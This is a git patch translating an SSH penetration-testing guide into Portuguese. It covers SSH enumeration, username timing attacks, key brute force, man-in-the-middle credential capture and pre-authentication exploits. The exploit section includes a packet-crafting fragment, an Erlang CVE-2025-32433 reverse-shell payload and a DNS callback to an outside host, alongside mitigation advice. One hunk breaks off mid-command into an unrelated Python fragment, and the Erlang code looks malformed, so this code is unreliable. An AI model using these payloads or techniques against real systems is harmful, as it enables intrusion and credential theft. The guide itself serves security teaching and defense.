From c662d086a932eeda1aaf476deb180e10afcead05 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 14 Aug 2025 00:19:35 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-ssh.md'] to pt --- .../pentesting-ssh.md | 78 ++++++++++++++++--- 1 file changed, 67 insertions(+), 11 deletions(-) diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md index bedbb225f..a34937831 100644 --- a/src/network-services-pentesting/pentesting-ssh.md +++ b/src/network-services-pentesting/pentesting-ssh.md @@ -21,7 +21,7 @@ - [libssh](https://www.libssh.org) – biblioteca C multiplataforma que implementa o protocolo SSHv2 com bindings em [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) e [R](https://github.com/ropensci/ssh); é usada pelo KDE para sftp e pelo GitHub para a infraestrutura git SSH - [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – biblioteca de servidor SSHv2 escrita em ANSI C e direcionada para ambientes embarcados, RTOS e com recursos limitados -- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – biblioteca java Apache SSHD baseada no Apache MINA +- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – biblioteca Java Apache SSHD baseada no Apache MINA - [paramiko](https://github.com/paramiko/paramiko) – biblioteca do protocolo SSHv2 em Python ## Enumeração @@ -44,7 +44,7 @@ ssh-audit é uma ferramenta para auditoria de configuração de servidor e clien - coletar algoritmos de troca de chaves, chave do host, criptografia e código de autenticação de mensagem; - saída de informações sobre algoritmos (disponível desde, removido/desativado, inseguro/fraco/legado, etc); - saída de recomendações de algoritmos (adicionar ou remover com base na versão do software reconhecida); -- saída de informações de segurança (problemas relacionados, lista de CVE atribuídos, etc); +- saída de informações de segurança (problemas relacionados, lista de CVE atribuída, etc); - analisar a compatibilidade da versão SSH com base nas informações do algoritmo; - informações históricas do OpenSSH, Dropbear SSH e libssh; - funciona em Linux e Windows; @@ -91,11 +91,11 @@ nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" # Check a - `ssh` -## Força bruta em nomes de usuário, senhas e chaves privadas +## Força bruta de nomes de usuário, senhas e chaves privadas ### Enumeração de Nomes de Usuário -Em algumas versões do OpenSSH, você pode realizar um ataque de temporização para enumerar usuários. Você pode usar um módulo do metasploit para explorar isso: +Em algumas versões do OpenSSH, você pode fazer um ataque de temporização para enumerar usuários. Você pode usar um módulo do metasploit para explorar isso: ``` msf> use scanner/ssh/ssh_enumusers ``` @@ -105,7 +105,7 @@ Algumas credenciais ssh comuns [aqui](https://github.com/danielmiessler/SecLists ### Força Bruta de Chave Privada -Se você conhece algumas chaves privadas ssh que poderiam ser usadas... vamos tentar. Você pode usar o script nmap: +Se você souber algumas chaves privadas ssh que poderiam ser usadas... vamos tentar. Você pode usar o script nmap: ``` https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html ``` @@ -159,7 +159,7 @@ Se você estiver na rede local como a vítima que vai se conectar ao servidor SS - **Redirecionamento de Tráfego:** O atacante **desvia** o tráfego da vítima para sua máquina, efetivamente **interceptando** a tentativa de conexão ao servidor SSH. - **Intercepção e Registro:** A máquina do atacante atua como um **proxy**, **capturando** os detalhes de login do usuário ao fingir ser o servidor SSH legítimo. -- **Execução de Comandos e Revezamento:** Finalmente, o servidor do atacante **registra as credenciais do usuário**, **encaminha os comandos** para o verdadeiro servidor SSH, **os executa** e **envia os resultados de volta** ao usuário, fazendo o processo parecer contínuo e legítimo. +- **Execução de Comandos e Revezamento:** Finalmente, o servidor do atacante **registra as credenciais do usuário**, **encaminha os comandos** para o verdadeiro servidor SSH, **os executa** e **envia os resultados de volta** para o usuário, fazendo o processo parecer contínuo e legítimo. [**SSH MITM**](https://github.com/jtesta/ssh-mitm) faz exatamente o que foi descrito acima. @@ -242,7 +242,7 @@ sudo ssh -L :: -N -f @I', 1) + b'\x5a' # 0x5a = 90 +s.sendall(pkt) +# additional CHANNEL_REQUEST packets can follow to run commands +``` +Na prática, você precisará realizar (ou pular) a troca de chaves de acordo com a implementação do alvo, mas **nenhuma autenticação** é realizada. + +--- +### Erlang/OTP `sshd` (CVE-2025-32433) +* **Versões afetadas:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20 +* **Causa raiz:** o daemon SSH nativo do Erlang não valida o estado atual antes de invocar `ssh_connection:handle_msg/2`. Portanto, qualquer pacote com um código de mensagem de 80-255 chega ao manipulador de conexão enquanto a sessão ainda está no estado *userauth*. +* **Impacto:** execução de **código remoto** não autenticada (o daemon geralmente é executado como **root** em dispositivos embarcados/OT). + +Exemplo de payload que gera um shell reverso vinculado ao canal controlado pelo atacante: +```erlang +% open a channel first … then: +execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}])."). +``` +A detecção de RCE cega / fora de banda pode ser realizada via DNS: +```erlang +execSinet:gethostbyname(".dns.outbound.watchtowr.com").Zsession +``` +Detecção e Mitigação: +* Inspecione o tráfego SSH: **descarte qualquer pacote com código de mensagem ≥ 80 observado antes da autenticação**. +* Atualize Erlang/OTP para **27.3.3 / 26.2.5.11 / 25.3.2.20** ou mais recente. +* Restringa a exposição de portas de gerenciamento (22/2022/830/2222) – especialmente em equipamentos OT. + +--- +### Outras Implementações Afetadas +* **libssh** 0.6 – 0.8 (lado do servidor) – **CVE-2018-10933** – aceita um `SSH_MSG_USERAUTH_SUCCESS` não autenticado enviado pelo cliente, efetivamente a falha de lógica inversa. + +A lição comum é que qualquer desvio das transições de estado exigidas pelo RFC pode ser fatal; ao revisar ou fuzzar daemons SSH, preste atenção especial à *aplicação da máquina de estados*. + ## Referências -- Você pode encontrar guias interessantes sobre como fortalecer o SSH em [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html) -- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide) +- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/) +- [Guias de hardening SSH](https://www.ssh-audit.com/hardening_guides.html) +- [Guia de hacking SSH da Turgensec](https://community.turgensec.com/ssh-hacking-guide) -## HackTricks Comandos Automáticos +## Comandos Automáticos HackTricks ``` Protocol_Name: SSH Port_Number: 22